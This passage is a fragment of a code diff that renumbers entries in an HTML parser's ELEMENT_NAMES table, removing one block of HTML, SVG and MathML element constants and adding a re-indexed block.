- ELEMENT_NAMES[89] = ELT_XOR;
- ELEMENT_NAMES[90] = ELT_AREA;
- ELEMENT_NAMES[91] = ELT_ABBR;
- ELEMENT_NAMES[92] = ELT_BASE;
- ELEMENT_NAMES[93] = ELT_BVAR;
- ELEMENT_NAMES[94] = ELT_BODY;
- ELEMENT_NAMES[95] = ELT_CARD;
- ELEMENT_NAMES[96] = ELT_CODE;
- ELEMENT_NAMES[97] = ELT_CITE;
- ELEMENT_NAMES[98] = ELT_CSCH;
- ELEMENT_NAMES[99] = ELT_COSH;
- ELEMENT_NAMES[100] = ELT_COTH;
- ELEMENT_NAMES[101] = ELT_CURL;
- ELEMENT_NAMES[102] = ELT_DESC;
- ELEMENT_NAMES[103] = ELT_DIFF;
- ELEMENT_NAMES[104] = ELT_DEFS;
- ELEMENT_NAMES[105] = ELT_FORM;
- ELEMENT_NAMES[106] = ELT_FONT;
- ELEMENT_NAMES[107] = ELT_GRAD;
- ELEMENT_NAMES[108] = ELT_HEAD;
- ELEMENT_NAMES[109] = ELT_HTML;
- ELEMENT_NAMES[110] = ELT_LINE;
- ELEMENT_NAMES[111] = ELT_LINK;
- ELEMENT_NAMES[112] = ELT_LIST;
- ELEMENT_NAMES[113] = ELT_META;
- ELEMENT_NAMES[114] = ELT_MSUB;
- ELEMENT_NAMES[115] = ELT_MODE;
- ELEMENT_NAMES[116] = ELT_MATH;
- ELEMENT_NAMES[117] = ELT_MARK;
- ELEMENT_NAMES[118] = ELT_MASK;
- ELEMENT_NAMES[119] = ELT_MEAN;
- ELEMENT_NAMES[120] = ELT_MAIN;
- ELEMENT_NAMES[121] = ELT_MSUP;
- ELEMENT_NAMES[122] = ELT_MENU;
- ELEMENT_NAMES[123] = ELT_MROW;
- ELEMENT_NAMES[124] = ELT_NONE;
- ELEMENT_NAMES[125] = ELT_NOBR;
- ELEMENT_NAMES[126] = ELT_NEST;
- ELEMENT_NAMES[127] = ELT_PATH;
- ELEMENT_NAMES[128] = ELT_PLUS;
- ELEMENT_NAMES[129] = ELT_RULE;
- ELEMENT_NAMES[130] = ELT_REAL;
- ELEMENT_NAMES[131] = ELT_RELN;
- ELEMENT_NAMES[132] = ELT_RECT;
- ELEMENT_NAMES[133] = ELT_ROOT;
- ELEMENT_NAMES[134] = ELT_RUBY;
- ELEMENT_NAMES[135] = ELT_SECH;
- ELEMENT_NAMES[136] = ELT_SINH;
- ELEMENT_NAMES[137] = ELT_SPAN;
- ELEMENT_NAMES[138] = ELT_SAMP;
- ELEMENT_NAMES[139] = ELT_STOP;
- ELEMENT_NAMES[140] = ELT_SDEV;
- ELEMENT_NAMES[141] = ELT_TIME;
- ELEMENT_NAMES[142] = ELT_TRUE;
- ELEMENT_NAMES[143] = ELT_TREF;
- ELEMENT_NAMES[144] = ELT_TANH;
- ELEMENT_NAMES[145] = ELT_TEXT;
- ELEMENT_NAMES[146] = ELT_VIEW;
- ELEMENT_NAMES[147] = ELT_ASIDE;
- ELEMENT_NAMES[148] = ELT_AUDIO;
- ELEMENT_NAMES[149] = ELT_APPLY;
- ELEMENT_NAMES[150] = ELT_EMBED;
- ELEMENT_NAMES[151] = ELT_FRAME;
- ELEMENT_NAMES[152] = ELT_FALSE;
- ELEMENT_NAMES[153] = ELT_FLOOR;
- ELEMENT_NAMES[154] = ELT_GLYPH;
- ELEMENT_NAMES[155] = ELT_HKERN;
- ELEMENT_NAMES[156] = ELT_IMAGE;
- ELEMENT_NAMES[157] = ELT_IDENT;
- ELEMENT_NAMES[158] = ELT_INPUT;
- ELEMENT_NAMES[159] = ELT_LABEL;
- ELEMENT_NAMES[160] = ELT_LIMIT;
- ELEMENT_NAMES[161] = ELT_MFRAC;
- ELEMENT_NAMES[162] = ELT_MPATH;
- ELEMENT_NAMES[163] = ELT_METER;
- ELEMENT_NAMES[164] = ELT_MOVER;
- ELEMENT_NAMES[165] = ELT_MINUS;
- ELEMENT_NAMES[166] = ELT_MROOT;
- ELEMENT_NAMES[167] = ELT_MSQRT;
- ELEMENT_NAMES[168] = ELT_MTEXT;
- ELEMENT_NAMES[169] = ELT_NOTIN;
- ELEMENT_NAMES[170] = ELT_PIECE;
- ELEMENT_NAMES[171] = ELT_PARAM;
- ELEMENT_NAMES[172] = ELT_POWER;
- ELEMENT_NAMES[173] = ELT_REALS;
- ELEMENT_NAMES[174] = ELT_STYLE;
- ELEMENT_NAMES[175] = ELT_SMALL;
- ELEMENT_NAMES[176] = ELT_THEAD;
- ELEMENT_NAMES[177] = ELT_TABLE;
- ELEMENT_NAMES[178] = ELT_TITLE;
- ELEMENT_NAMES[179] = ELT_TRACK;
- ELEMENT_NAMES[180] = ELT_TSPAN;
- ELEMENT_NAMES[181] = ELT_TIMES;
- ELEMENT_NAMES[182] = ELT_TFOOT;
- ELEMENT_NAMES[183] = ELT_TBODY;
- ELEMENT_NAMES[184] = ELT_UNION;
- ELEMENT_NAMES[185] = ELT_VKERN;
- ELEMENT_NAMES[186] = ELT_VIDEO;
- ELEMENT_NAMES[187] = ELT_ARCSEC;
- ELEMENT_NAMES[188] = ELT_ARCCSC;
- ELEMENT_NAMES[189] = ELT_ARCTAN;
- ELEMENT_NAMES[190] = ELT_ARCSIN;
- ELEMENT_NAMES[191] = ELT_ARCCOS;
- ELEMENT_NAMES[192] = ELT_APPLET;
- ELEMENT_NAMES[193] = ELT_ARCCOT;
- ELEMENT_NAMES[194] = ELT_APPROX;
- ELEMENT_NAMES[195] = ELT_BUTTON;
- ELEMENT_NAMES[196] = ELT_CIRCLE;
- ELEMENT_NAMES[197] = ELT_CENTER;
- ELEMENT_NAMES[198] = ELT_CURSOR;
- ELEMENT_NAMES[199] = ELT_CANVAS;
- ELEMENT_NAMES[200] = ELT_DIVIDE;
- ELEMENT_NAMES[201] = ELT_DEGREE;
- ELEMENT_NAMES[202] = ELT_DOMAIN;
- ELEMENT_NAMES[203] = ELT_EXISTS;
- ELEMENT_NAMES[204] = ELT_FETILE;
- ELEMENT_NAMES[205] = ELT_FIGURE;
- ELEMENT_NAMES[206] = ELT_FORALL;
- ELEMENT_NAMES[207] = ELT_FILTER;
- ELEMENT_NAMES[208] = ELT_FOOTER;
- ELEMENT_NAMES[209] = ELT_HGROUP;
- ELEMENT_NAMES[210] = ELT_HEADER;
- ELEMENT_NAMES[211] = ELT_IFRAME;
- ELEMENT_NAMES[212] = ELT_KEYGEN;
- ELEMENT_NAMES[213] = ELT_LAMBDA;
- ELEMENT_NAMES[214] = ELT_LEGEND;
- ELEMENT_NAMES[215] = ELT_MSPACE;
- ELEMENT_NAMES[216] = ELT_MTABLE;
- ELEMENT_NAMES[217] = ELT_MSTYLE;
- ELEMENT_NAMES[218] = ELT_MGLYPH;
- ELEMENT_NAMES[219] = ELT_MEDIAN;
- ELEMENT_NAMES[220] = ELT_MUNDER;
- ELEMENT_NAMES[221] = ELT_MARKER;
- ELEMENT_NAMES[222] = ELT_MERROR;
- ELEMENT_NAMES[223] = ELT_MOMENT;
- ELEMENT_NAMES[224] = ELT_MATRIX;
- ELEMENT_NAMES[225] = ELT_OPTION;
- ELEMENT_NAMES[226] = ELT_OBJECT;
- ELEMENT_NAMES[227] = ELT_OUTPUT;
- ELEMENT_NAMES[228] = ELT_PRIMES;
- ELEMENT_NAMES[229] = ELT_SOURCE;
- ELEMENT_NAMES[230] = ELT_STRIKE;
- ELEMENT_NAMES[231] = ELT_STRONG;
- ELEMENT_NAMES[232] = ELT_SWITCH;
- ELEMENT_NAMES[233] = ELT_SYMBOL;
- ELEMENT_NAMES[234] = ELT_SELECT;
- ELEMENT_NAMES[235] = ELT_SUBSET;
- ELEMENT_NAMES[236] = ELT_SCRIPT;
- ELEMENT_NAMES[237] = ELT_TBREAK;
- ELEMENT_NAMES[238] = ELT_VECTOR;
- ELEMENT_NAMES[239] = ELT_ARTICLE;
- ELEMENT_NAMES[240] = ELT_ANIMATE;
- ELEMENT_NAMES[241] = ELT_ARCSECH;
- ELEMENT_NAMES[242] = ELT_ARCCSCH;
- ELEMENT_NAMES[243] = ELT_ARCTANH;
- ELEMENT_NAMES[244] = ELT_ARCSINH;
- ELEMENT_NAMES[245] = ELT_ARCCOSH;
- ELEMENT_NAMES[246] = ELT_ARCCOTH;
- ELEMENT_NAMES[247] = ELT_ACRONYM;
- ELEMENT_NAMES[248] = ELT_ADDRESS;
- ELEMENT_NAMES[249] = ELT_BGSOUND;
- ELEMENT_NAMES[250] = ELT_COMMAND;
- ELEMENT_NAMES[251] = ELT_COMPOSE;
- ELEMENT_NAMES[252] = ELT_CEILING;
- ELEMENT_NAMES[253] = ELT_CSYMBOL;
- ELEMENT_NAMES[254] = ELT_CAPTION;
- ELEMENT_NAMES[255] = ELT_DISCARD;
- ELEMENT_NAMES[256] = ELT_DECLARE;
- ELEMENT_NAMES[257] = ELT_DETAILS;
- ELEMENT_NAMES[258] = ELT_ELLIPSE;
- ELEMENT_NAMES[259] = ELT_FEFUNCA;
- ELEMENT_NAMES[260] = ELT_FEFUNCB;
- ELEMENT_NAMES[261] = ELT_FEBLEND;
- ELEMENT_NAMES[262] = ELT_FEFLOOD;
- ELEMENT_NAMES[263] = ELT_FEIMAGE;
- ELEMENT_NAMES[264] = ELT_FEMERGE;
- ELEMENT_NAMES[265] = ELT_FEFUNCG;
- ELEMENT_NAMES[266] = ELT_FEFUNCR;
- ELEMENT_NAMES[267] = ELT_HANDLER;
- ELEMENT_NAMES[268] = ELT_INVERSE;
- ELEMENT_NAMES[269] = ELT_IMPLIES;
- ELEMENT_NAMES[270] = ELT_ISINDEX;
- ELEMENT_NAMES[271] = ELT_LOGBASE;
- ELEMENT_NAMES[272] = ELT_LISTING;
- ELEMENT_NAMES[273] = ELT_MFENCED;
- ELEMENT_NAMES[274] = ELT_MPADDED;
- ELEMENT_NAMES[275] = ELT_MARQUEE;
- ELEMENT_NAMES[276] = ELT_MACTION;
- ELEMENT_NAMES[277] = ELT_MSUBSUP;
- ELEMENT_NAMES[278] = ELT_NOEMBED;
- ELEMENT_NAMES[279] = ELT_POLYGON;
- ELEMENT_NAMES[280] = ELT_PATTERN;
- ELEMENT_NAMES[281] = ELT_PRODUCT;
- ELEMENT_NAMES[282] = ELT_SETDIFF;
- ELEMENT_NAMES[283] = ELT_SECTION;
- ELEMENT_NAMES[284] = ELT_SUMMARY;
- ELEMENT_NAMES[285] = ELT_TENDSTO;
- ELEMENT_NAMES[286] = ELT_UPLIMIT;
- ELEMENT_NAMES[287] = ELT_ALTGLYPH;
- ELEMENT_NAMES[288] = ELT_BASEFONT;
- ELEMENT_NAMES[289] = ELT_CLIPPATH;
- ELEMENT_NAMES[290] = ELT_CODOMAIN;
- ELEMENT_NAMES[291] = ELT_COLGROUP;
- ELEMENT_NAMES[292] = ELT_EMPTYSET;
- ELEMENT_NAMES[293] = ELT_FACTOROF;
- ELEMENT_NAMES[294] = ELT_FIELDSET;
- ELEMENT_NAMES[295] = ELT_FRAMESET;
- ELEMENT_NAMES[296] = ELT_FEOFFSET;
- ELEMENT_NAMES[297] = ELT_GLYPHREF;
- ELEMENT_NAMES[298] = ELT_INTERVAL;
- ELEMENT_NAMES[299] = ELT_INTEGERS;
- ELEMENT_NAMES[300] = ELT_INFINITY;
- ELEMENT_NAMES[301] = ELT_LISTENER;
- ELEMENT_NAMES[302] = ELT_LOWLIMIT;
- ELEMENT_NAMES[303] = ELT_METADATA;
- ELEMENT_NAMES[304] = ELT_MENCLOSE;
- ELEMENT_NAMES[305] = ELT_MENUITEM;
- ELEMENT_NAMES[306] = ELT_MPHANTOM;
- ELEMENT_NAMES[307] = ELT_NOFRAMES;
- ELEMENT_NAMES[308] = ELT_NOSCRIPT;
- ELEMENT_NAMES[309] = ELT_OPTGROUP;
- ELEMENT_NAMES[310] = ELT_POLYLINE;
- ELEMENT_NAMES[311] = ELT_PREFETCH;
- ELEMENT_NAMES[312] = ELT_PROGRESS;
- ELEMENT_NAMES[313] = ELT_PRSUBSET;
- ELEMENT_NAMES[314] = ELT_QUOTIENT;
- ELEMENT_NAMES[315] = ELT_SELECTOR;
- ELEMENT_NAMES[316] = ELT_TEXTAREA;
- ELEMENT_NAMES[317] = ELT_TEMPLATE;
- ELEMENT_NAMES[318] = ELT_TEXTPATH;
- ELEMENT_NAMES[319] = ELT_VARIANCE;
- ELEMENT_NAMES[320] = ELT_ANIMATION;
- ELEMENT_NAMES[321] = ELT_CONJUGATE;
- ELEMENT_NAMES[322] = ELT_CONDITION;
- ELEMENT_NAMES[323] = ELT_COMPLEXES;
- ELEMENT_NAMES[324] = ELT_FONT_FACE;
- ELEMENT_NAMES[325] = ELT_FACTORIAL;
- ELEMENT_NAMES[326] = ELT_INTERSECT;
- ELEMENT_NAMES[327] = ELT_IMAGINARY;
- ELEMENT_NAMES[328] = ELT_LAPLACIAN;
- ELEMENT_NAMES[329] = ELT_MATRIXROW;
- ELEMENT_NAMES[330] = ELT_NOTSUBSET;
- ELEMENT_NAMES[331] = ELT_OTHERWISE;
- ELEMENT_NAMES[332] = ELT_PIECEWISE;
- ELEMENT_NAMES[333] = ELT_PLAINTEXT;
- ELEMENT_NAMES[334] = ELT_RATIONALS;
- ELEMENT_NAMES[335] = ELT_SEMANTICS;
- ELEMENT_NAMES[336] = ELT_TRANSPOSE;
- ELEMENT_NAMES[337] = ELT_ANNOTATION;
- ELEMENT_NAMES[338] = ELT_BLOCKQUOTE;
- ELEMENT_NAMES[339] = ELT_DIVERGENCE;
- ELEMENT_NAMES[340] = ELT_EULERGAMMA;
- ELEMENT_NAMES[341] = ELT_EQUIVALENT;
- ELEMENT_NAMES[342] = ELT_FIGCAPTION;
- ELEMENT_NAMES[343] = ELT_IMAGINARYI;
- ELEMENT_NAMES[344] = ELT_MALIGNMARK;
- ELEMENT_NAMES[345] = ELT_MUNDEROVER;
- ELEMENT_NAMES[346] = ELT_MLABELEDTR;
- ELEMENT_NAMES[347] = ELT_NOTANUMBER;
- ELEMENT_NAMES[348] = ELT_SOLIDCOLOR;
- ELEMENT_NAMES[349] = ELT_ALTGLYPHDEF;
- ELEMENT_NAMES[350] = ELT_DETERMINANT;
- ELEMENT_NAMES[351] = ELT_FEMERGENODE;
- ELEMENT_NAMES[352] = ELT_FECOMPOSITE;
- ELEMENT_NAMES[353] = ELT_FESPOTLIGHT;
- ELEMENT_NAMES[354] = ELT_MALIGNGROUP;
- ELEMENT_NAMES[355] = ELT_MPRESCRIPTS;
- ELEMENT_NAMES[356] = ELT_MOMENTABOUT;
- ELEMENT_NAMES[357] = ELT_NOTPRSUBSET;
- ELEMENT_NAMES[358] = ELT_PARTIALDIFF;
- ELEMENT_NAMES[359] = ELT_ALTGLYPHITEM;
- ELEMENT_NAMES[360] = ELT_ANIMATECOLOR;
- ELEMENT_NAMES[361] = ELT_DATATEMPLATE;
- ELEMENT_NAMES[362] = ELT_EXPONENTIALE;
- ELEMENT_NAMES[363] = ELT_FETURBULENCE;
- ELEMENT_NAMES[364] = ELT_FEPOINTLIGHT;
- ELEMENT_NAMES[365] = ELT_FEMORPHOLOGY;
- ELEMENT_NAMES[366] = ELT_OUTERPRODUCT;
- ELEMENT_NAMES[367] = ELT_ANIMATEMOTION;
- ELEMENT_NAMES[368] = ELT_COLOR_PROFILE;
- ELEMENT_NAMES[369] = ELT_FONT_FACE_SRC;
- ELEMENT_NAMES[370] = ELT_FONT_FACE_URI;
- ELEMENT_NAMES[371] = ELT_FOREIGNOBJECT;
- ELEMENT_NAMES[372] = ELT_FECOLORMATRIX;
- ELEMENT_NAMES[373] = ELT_MISSING_GLYPH;
- ELEMENT_NAMES[374] = ELT_MMULTISCRIPTS;
- ELEMENT_NAMES[375] = ELT_SCALARPRODUCT;
- ELEMENT_NAMES[376] = ELT_VECTORPRODUCT;
- ELEMENT_NAMES[377] = ELT_ANNOTATION_XML;
- ELEMENT_NAMES[378] = ELT_DEFINITION_SRC;
- ELEMENT_NAMES[379] = ELT_FONT_FACE_NAME;
- ELEMENT_NAMES[380] = ELT_FEGAUSSIANBLUR;
- ELEMENT_NAMES[381] = ELT_FEDISTANTLIGHT;
- ELEMENT_NAMES[382] = ELT_LINEARGRADIENT;
- ELEMENT_NAMES[383] = ELT_NATURALNUMBERS;
- ELEMENT_NAMES[384] = ELT_RADIALGRADIENT;
- ELEMENT_NAMES[385] = ELT_ANIMATETRANSFORM;
- ELEMENT_NAMES[386] = ELT_CARTESIANPRODUCT;
- ELEMENT_NAMES[387] = ELT_FONT_FACE_FORMAT;
- ELEMENT_NAMES[388] = ELT_FECONVOLVEMATRIX;
- ELEMENT_NAMES[389] = ELT_FEDIFFUSELIGHTING;
- ELEMENT_NAMES[390] = ELT_FEDISPLACEMENTMAP;
- ELEMENT_NAMES[391] = ELT_FESPECULARLIGHTING;
- ELEMENT_NAMES[392] = ELT_DOMAINOFAPPLICATION;
- ELEMENT_NAMES[393] = ELT_FECOMPONENTTRANSFER;
+ ELEMENT_NAMES[36] = ELT_RB;
+ ELEMENT_NAMES[37] = ELT_RP;
+ ELEMENT_NAMES[38] = ELT_RT;
+ ELEMENT_NAMES[39] = ELT_TD;
+ ELEMENT_NAMES[40] = ELT_TH;
+ ELEMENT_NAMES[41] = ELT_TR;
+ ELEMENT_NAMES[42] = ELT_TT;
+ ELEMENT_NAMES[43] = ELT_UL;
+ ELEMENT_NAMES[44] = ELT_AND;
+ ELEMENT_NAMES[45] = ELT_ARG;
+ ELEMENT_NAMES[46] = ELT_ABS;
+ ELEMENT_NAMES[47] = ELT_BIG;
+ ELEMENT_NAMES[48] = ELT_BDO;
+ ELEMENT_NAMES[49] = ELT_CSC;
+ ELEMENT_NAMES[50] = ELT_COL;
+ ELEMENT_NAMES[51] = ELT_COS;
+ ELEMENT_NAMES[52] = ELT_COT;
+ ELEMENT_NAMES[53] = ELT_DEL;
+ ELEMENT_NAMES[54] = ELT_DFN;
+ ELEMENT_NAMES[55] = ELT_DIR;
+ ELEMENT_NAMES[56] = ELT_DIV;
+ ELEMENT_NAMES[57] = ELT_EXP;
+ ELEMENT_NAMES[58] = ELT_GCD;
+ ELEMENT_NAMES[59] = ELT_GEQ;
+ ELEMENT_NAMES[60] = ELT_IMG;
+ ELEMENT_NAMES[61] = ELT_INS;
+ ELEMENT_NAMES[62] = ELT_INT;
+ ELEMENT_NAMES[63] = ELT_KBD;
+ ELEMENT_NAMES[64] = ELT_LOG;
+ ELEMENT_NAMES[65] = ELT_LCM;
+ ELEMENT_NAMES[66] = ELT_LEQ;
+ ELEMENT_NAMES[67] = ELT_MTD;
+ ELEMENT_NAMES[68] = ELT_MIN;
+ ELEMENT_NAMES[69] = ELT_MAP;
+ ELEMENT_NAMES[70] = ELT_MTR;
+ ELEMENT_NAMES[71] = ELT_MAX;
+ ELEMENT_NAMES[72] = ELT_NEQ;
+ ELEMENT_NAMES[73] = ELT_NOT;
+ ELEMENT_NAMES[74] = ELT_NAV;
+ ELEMENT_NAMES[75] = ELT_PRE;
+ ELEMENT_NAMES[76] = ELT_RTC;
+ ELEMENT_NAMES[77] = ELT_REM;
+ ELEMENT_NAMES[78] = ELT_SUB;
+ ELEMENT_NAMES[79] = ELT_SEC;
+ ELEMENT_NAMES[80] = ELT_SVG;
+ ELEMENT_NAMES[81] = ELT_SUM;
+ ELEMENT_NAMES[82] = ELT_SIN;
+ ELEMENT_NAMES[83] = ELT_SEP;
+ ELEMENT_NAMES[84] = ELT_SUP;
+ ELEMENT_NAMES[85] = ELT_SET;
+ ELEMENT_NAMES[86] = ELT_TAN;
+ ELEMENT_NAMES[87] = ELT_USE;
+ ELEMENT_NAMES[88] = ELT_VAR;
+ ELEMENT_NAMES[89] = ELT_WBR;
+ ELEMENT_NAMES[90] = ELT_XMP;
+ ELEMENT_NAMES[91] = ELT_XOR;
+ ELEMENT_NAMES[92] = ELT_AREA;
+ ELEMENT_NAMES[93] = ELT_ABBR;
+ ELEMENT_NAMES[94] = ELT_BASE;
+ ELEMENT_NAMES[95] = ELT_BVAR;
+ ELEMENT_NAMES[96] = ELT_BODY;
+ ELEMENT_NAMES[97] = ELT_CARD;
+ ELEMENT_NAMES[98] = ELT_CODE;
+ ELEMENT_NAMES[99] = ELT_CITE;
+ ELEMENT_NAMES[100] = ELT_CSCH;
+ ELEMENT_NAMES[101] = ELT_COSH;
+ ELEMENT_NAMES[102] = ELT_COTH;
+ ELEMENT_NAMES[103] = ELT_CURL;
+ ELEMENT_NAMES[104] = ELT_DESC;
+ ELEMENT_NAMES[105] = ELT_DIFF;
+ ELEMENT_NAMES[106] = ELT_DEFS;
+ ELEMENT_NAMES[107] = ELT_FORM;
+ ELEMENT_NAMES[108] = ELT_FONT;
+ ELEMENT_NAMES[109] = ELT_GRAD;
+ ELEMENT_NAMES[110] = ELT_HEAD;
+ ELEMENT_NAMES[111] = ELT_HTML;
+ ELEMENT_NAMES[112] = ELT_LINE;
+ ELEMENT_NAMES[113] = ELT_LINK;
+ ELEMENT_NAMES[114] = ELT_LIST;
+ ELEMENT_NAMES[115] = ELT_META;
+ ELEMENT_NAMES[116] = ELT_MSUB;
+ ELEMENT_NAMES[117] = ELT_MODE;
+ ELEMENT_NAMES[118] = ELT_MATH;
+ ELEMENT_NAMES[119] = ELT_MARK;
+ ELEMENT_NAMES[120] = ELT_MASK;
+ ELEMENT_NAMES[121] = ELT_MEAN;
+ ELEMENT_NAMES[122] = ELT_MAIN;
+ ELEMENT_NAMES[123] = ELT_MSUP;
+ ELEMENT_NAMES[124] = ELT_MENU;
+ ELEMENT_NAMES[125] = ELT_MROW;
+ ELEMENT_NAMES[126] = ELT_NONE;
+ ELEMENT_NAMES[127] = ELT_NOBR;
+ ELEMENT_NAMES[128] = ELT_NEST;
+ ELEMENT_NAMES[129] = ELT_PATH;
+ ELEMENT_NAMES[130] = ELT_PLUS;
+ ELEMENT_NAMES[131] = ELT_RULE;
+ ELEMENT_NAMES[132] = ELT_REAL;
+ ELEMENT_NAMES[133] = ELT_RELN;
+ ELEMENT_NAMES[134] = ELT_RECT;
+ ELEMENT_NAMES[135] = ELT_ROOT;
+ ELEMENT_NAMES[136] = ELT_RUBY;
+ ELEMENT_NAMES[137] = ELT_SECH;
+ ELEMENT_NAMES[138] = ELT_SINH;
+ ELEMENT_NAMES[139] = ELT_SPAN;
+ ELEMENT_NAMES[140] = ELT_SAMP;
+ ELEMENT_NAMES[141] = ELT_STOP;
+ ELEMENT_NAMES[142] = ELT_SDEV;
+ ELEMENT_NAMES[143] = ELT_TIME;
+ ELEMENT_NAMES[144] = ELT_TRUE;
+ ELEMENT_NAMES[145] = ELT_TREF;
+ ELEMENT_NAMES[146] = ELT_TANH;
+ ELEMENT_NAMES[147] = ELT_TEXT;
+ ELEMENT_NAMES[148] = ELT_VIEW;
+ ELEMENT_NAMES[149] = ELT_ASIDE;
+ ELEMENT_NAMES[150] = ELT_AUDIO;
+ ELEMENT_NAMES[151] = ELT_APPLY;
+ ELEMENT_NAMES[152] = ELT_EMBED;
+ ELEMENT_NAMES[153] = ELT_FRAME;
+ ELEMENT_NAMES[154] = ELT_FALSE;
+ ELEMENT_NAMES[155] = ELT_FLOOR;
+ ELEMENT_NAMES[156] = ELT_GLYPH;
+ ELEMENT_NAMES[157] = ELT_HKERN;
+ ELEMENT_NAMES[158] = ELT_IMAGE;
+ ELEMENT_NAMES[159] = ELT_IDENT;
+ ELEMENT_NAMES[160] = ELT_INPUT;
+ ELEMENT_NAMES[161] = ELT_LABEL;
+ ELEMENT_NAMES[162] = ELT_LIMIT;
+ ELEMENT_NAMES[163] = ELT_MFRAC;
+ ELEMENT_NAMES[164] = ELT_MPATH;
+ ELEMENT_NAMES[165] = ELT_METER;
+ ELEMENT_NAMES[166] = ELT_MOVER;
+ ELEMENT_NAMES[167] = ELT_MINUS;
+ ELEMENT_NAMES[168] = ELT_MROOT;
+ ELEMENT_NAMES[169] = ELT_MSQRT;
+ ELEMENT_NAMES[170] = ELT_MTEXT;
+ ELEMENT_NAMES[171] = ELT_NOTIN;
+ ELEMENT_NAMES[172] = ELT_PIECE;
+ ELEMENT_NAMES[173] = ELT_PARAM;
+ ELEMENT_NAMES[174] = ELT_POWER;
+ ELEMENT_NAMES[175] = ELT_REALS;
+ ELEMENT_NAMES[176] = ELT_STYLE;
+ ELEMENT_NAMES[177] = ELT_SMALL;
+ ELEMENT_NAMES[178] = ELT_THEAD;
+ ELEMENT_NAMES[179] = ELT_TABLE;
+ ELEMENT_NAMES[180] = ELT_TITLE;
+ ELEMENT_NAMES[181] = ELT_TRACK;
+ ELEMENT_NAMES[182] = ELT_TSPAN;
+ ELEMENT_NAMES[183] = ELT_TIMES;
+ ELEMENT_NAMES[184] = ELT_TFOOT;
+ ELEMENT_NAMES[185] = ELT_TBODY;
+ ELEMENT_NAMES[186] = ELT_UNION;
+ ELEMENT_NAMES[187] = ELT_VKERN;
+ ELEMENT_NAMES[188] = ELT_VIDEO;
+ ELEMENT_NAMES[189] = ELT_ARCSEC;
+ ELEMENT_NAMES[190] = ELT_ARCCSC;
+ ELEMENT_NAMES[191] = ELT_ARCTAN;
+ ELEMENT_NAMES[192] = ELT_ARCSIN;
+ ELEMENT_NAMES[193] = ELT_ARCCOS;
+ ELEMENT_NAMES[194] = ELT_APPLET;
+ ELEMENT_NAMES[195] = ELT_ARCCOT;
+ ELEMENT_NAMES[196] = ELT_APPROX;
+ ELEMENT_NAMES[197] = ELT_BUTTON;
+ ELEMENT_NAMES[198] = ELT_CIRCLE;
+ ELEMENT_NAMES[199] = ELT_CENTER;
+ ELEMENT_NAMES[200] = ELT_CURSOR;
+ ELEMENT_NAMES[201] = ELT_CANVAS;
+ ELEMENT_NAMES[202] = ELT_DIVIDE;
+ ELEMENT_NAMES[203] = ELT_DEGREE;
+ ELEMENT_NAMES[204] = ELT_DOMAIN;
+ ELEMENT_NAMES[205] = ELT_EXISTS;
+ ELEMENT_NAMES[206] = ELT_FETILE;
+ ELEMENT_NAMES[207] = ELT_FIGURE;
+ ELEMENT_NAMES[208] = ELT_FORALL;
+ ELEMENT_NAMES[209] = ELT_FILTER;
+ ELEMENT_NAMES[210] = ELT_FOOTER;
+ ELEMENT_NAMES[211] = ELT_HGROUP;
+ ELEMENT_NAMES[212] = ELT_HEADER;
+ ELEMENT_NAMES[213] = ELT_IFRAME;
+ ELEMENT_NAMES[214] = ELT_KEYGEN;
+ ELEMENT_NAMES[215] = ELT_LAMBDA;
+ ELEMENT_NAMES[216] = ELT_LEGEND;
+ ELEMENT_NAMES[217] = ELT_MSPACE;
+ ELEMENT_NAMES[218] = ELT_MTABLE;
+ ELEMENT_NAMES[219] = ELT_MSTYLE;
+ ELEMENT_NAMES[220] = ELT_MGLYPH;
+ ELEMENT_NAMES[221] = ELT_MEDIAN;
+ ELEMENT_NAMES[222] = ELT_MUNDER;
+ ELEMENT_NAMES[223] = ELT_MARKER;
+ ELEMENT_NAMES[224] = ELT_MERROR;
+ ELEMENT_NAMES[225] = ELT_MOMENT;
+ ELEMENT_NAMES[226] = ELT_MATRIX;
+ ELEMENT_NAMES[227] = ELT_OPTION;
+ ELEMENT_NAMES[228] = ELT_OBJECT;
+ ELEMENT_NAMES[229] = ELT_OUTPUT;
+ ELEMENT_NAMES[230] = ELT_PRIMES;
+ ELEMENT_NAMES[231] = ELT_SOURCE;
+ ELEMENT_NAMES[232] = ELT_STRIKE;
+ ELEMENT_NAMES[233] = ELT_STRONG;
+ ELEMENT_NAMES[234] = ELT_SWITCH;
+ ELEMENT_NAMES[235] = ELT_SYMBOL;
+ ELEMENT_NAMES[236] = ELT_SELECT;
+ ELEMENT_NAMES[237] = ELT_SUBSET;
+ ELEMENT_NAMES[238] = ELT_SCRIPT;
+ ELEMENT_NAMES[239] = ELT_TBREAK;
+ ELEMENT_NAMES[240] = ELT_VECTOR;
+ ELEMENT_NAMES[241] = ELT_ARTICLE;
+ ELEMENT_NAMES[242] = ELT_ANIMATE;
+ ELEMENT_NAMES[243] = ELT_ARCSECH;
+ ELEMENT_NAMES[244] = ELT_ARCCSCH;
+ ELEMENT_NAMES[245] = ELT_ARCTANH;
+ ELEMENT_NAMES[246] = ELT_ARCSINH;
+ ELEMENT_NAMES[247] = ELT_ARCCOSH;
+ ELEMENT_NAMES[248] = ELT_ARCCOTH;
+ ELEMENT_NAMES[249] = ELT_ACRONYM;
+ ELEMENT_NAMES[250] = ELT_ADDRESS;
+ ELEMENT_NAMES[251] = ELT_BGSOUND;
+ ELEMENT_NAMES[252] = ELT_COMPOSE;
+ ELEMENT_NAMES[253] = ELT_CEILING;
+ ELEMENT_NAMES[254] = ELT_CSYMBOL;
+ ELEMENT_NAMES[255] = ELT_CAPTION;
+ ELEMENT_NAMES[256] = ELT_DISCARD;
+ ELEMENT_NAMES[257] = ELT_DECLARE;
+ ELEMENT_NAMES[258] = ELT_DETAILS;
+ ELEMENT_NAMES[259] = ELT_ELLIPSE;
+ ELEMENT_NAMES[260] = ELT_FEFUNCA;
+ ELEMENT_NAMES[261] = ELT_FEFUNCB;
+ ELEMENT_NAMES[262] = ELT_FEBLEND;
+ ELEMENT_NAMES[263] = ELT_FEFLOOD;
+ ELEMENT_NAMES[264] = ELT_FEIMAGE;
+ ELEMENT_NAMES[265] = ELT_FEMERGE;
+ ELEMENT_NAMES[266] = ELT_FEFUNCG;
+ ELEMENT_NAMES[267] = ELT_FEFUNCR;
+ ELEMENT_NAMES[268] = ELT_HANDLER;
+ ELEMENT_NAMES[269] = ELT_INVERSE;
+ ELEMENT_NAMES[270] = ELT_IMPLIES;
+ ELEMENT_NAMES[271] = ELT_ISINDEX;
+ ELEMENT_NAMES[272] = ELT_LOGBASE;
+ ELEMENT_NAMES[273] = ELT_LISTING;
